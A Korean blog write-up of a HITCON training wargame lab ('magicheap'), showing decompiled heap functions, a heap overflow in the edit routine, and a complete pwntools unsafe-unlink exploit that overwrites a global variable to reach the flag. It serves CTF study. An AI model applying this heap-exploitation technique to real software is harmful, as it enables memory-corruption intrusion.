728x90
1. 문제
1) mitigation 확인
이 문제도 역시 카나리와 NX가 걸려있다
2) 문제 확인
LAB 14번 문제와 동일한 형태로 메뉴가 나온다
3) 코드흐름 파악
- create_heap() 함수
unsigned __int64 create_heap() { int i; // [rsp+4h] [rbp-1Ch] size_t size; // [rsp+8h] [rbp-18h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !heaparray[i] ) { printf("Size of Heap : "); read(0, &buf, 8uLL); size = atoi(&buf); heaparray[i] = malloc(size); if ( !heaparray[i] ) { puts("Allocate Error"); exit(2); } printf("Content of heap:"); read_input(heaparray[i], size); puts("SuccessFul"); return __readfsqword(0x28u) ^ v4; } } return __readfsqword(0x28u) ^ v4; }
- 이문제는 14번 문제와 매우 유사하다. 오히려 더 쉽다. 그냥 사용자가 입력한 사이즈만큼 동적할당을 해주고, 그 주소를 heaparray배열에 넣는다.
- 그리고 그 주소에 바로 content를 입력한다
- delete_heap() 함수
unsigned __int64 delete_heap() { int v1; // [rsp+Ch] [rbp-14h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Index :"); read(0, &buf, 4uLL); v1 = atoi(&buf); if ( v1 < 0 || v1 > 9 ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v1] ) { free(heaparray[v1]); heaparray[v1] = 0LL; puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }
- free시키고 해당 인덱스를 0으로 초기화 시킨다. 이로써 DFB는 불가능하다
- 그 외에는 딱히 없다
- edit_heap() 함수
unsigned __int64 edit_heap() { int v1; // [rsp+4h] [rbp-1Ch] __int64 v2; // [rsp+8h] [rbp-18h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); printf("Index :"); read(0, &buf, 4uLL); v1 = atoi(&buf); if ( v1 < 0 || v1 > 9 ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v1] ) { printf("Size of Heap : "); read(0, &buf, 8uLL); v2 = atoi(&buf); printf("Content of heap : "); read_input(heaparray[v1], v2); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v4; }
- 수정할 인덱스를 입력한뒤, 수정하고자하는 사이즈를 입력한다. 그리고 그만큼 수정이 가능하다.
- 이 떄문에 heap overflow가 일어나고 다음청크를 덮을수 있다
2. 접근방법
이 문제는 딱 보자마자 드디어 Unsafe Unlink가 가능하다는걸 알았다. 14번문제에서 많은 삽질을 했기때문에 바로 들어갔다
메인에 I33t() 함수를 호출하면 플래그가 떨어지므로, magic 변수에 알맞은 값을 넣는것을 목표로 하면 된다.
- 전역에서 content 부분의 청크를 바로 관리함
- 다음 청크의 헤더를 수정가능
- malloc도 9번이나 가능.
따라서 두개의 청크를 선언하고, heaparray에 들어있는 값을 bss주소로 변경시키면 된다. 그다음 0x6020C0 주소를 edit함수를 이용하여 heaparray에 넣는다
마지막으로 edit()함수를 한번더 이용하여 0x6020c0에 들어있는 magic 값을 0x1305보다 큰 값으로 넣고, 메인에서 메뉴입력시, 4869를 입력하면 끝이다.
3. 풀이
최종익스코드는 다음과 같다
from pwn import *
p=process("./magicheap")
context(log_level="DEBUG")
#e=ELF("./magicheap")
#gdb.attach(p,'code\nb *0xB21+$code\n')
def create(size,content):
p.sendlineafter("Your choice :","1")
p.sendlineafter("Size of Heap : ",str(size))
p.sendafter("Content of heap:",str(content))
def edit(index,size,content):
p.sendlineafter("Your choice :","2")
p.sendlineafter("Index :",str(index))
p.sendlineafter("Size of Heap : ",str(size))
p.sendafter("Content of heap : ",str(content))
def delete(index):
p.sendlineafter("Your choice :","3")
p.sendlineafter("Index :",str(index))
create(128,"A")
create(128,"A")
create(128,"A")
payload=p64(0)*2
payload+=p64(0x6020E0-24)
payload+=p64(0x6020E0-16)
payload+="B"*0x60
payload+=p64(0x80)
payload+=p64(0x90)
edit(0,0x90,payload)
delete(1)
edit(0,0x80,"A"*0x18+p64(0x6020c0))
edit(0,0x80,p64(0x2000))
p.sendlineafter("Your choice :","4869")
p.interactive()
4. 몰랐던 개념
- none
728x90
'워게임 > Hitcon training' 카테고리의 다른 글
[Hicon training] LAB 15 (0) | 2020.04.23 |
---|---|
[Hicon training] LAB 13 (0) | 2020.04.23 |
[Hicon training] LAB 12 (0) | 2020.04.21 |
[Hicon training] LAB 11 (0) | 2020.04.20 |
[Hicon training] LAB 10 (0) | 2020.04.16 |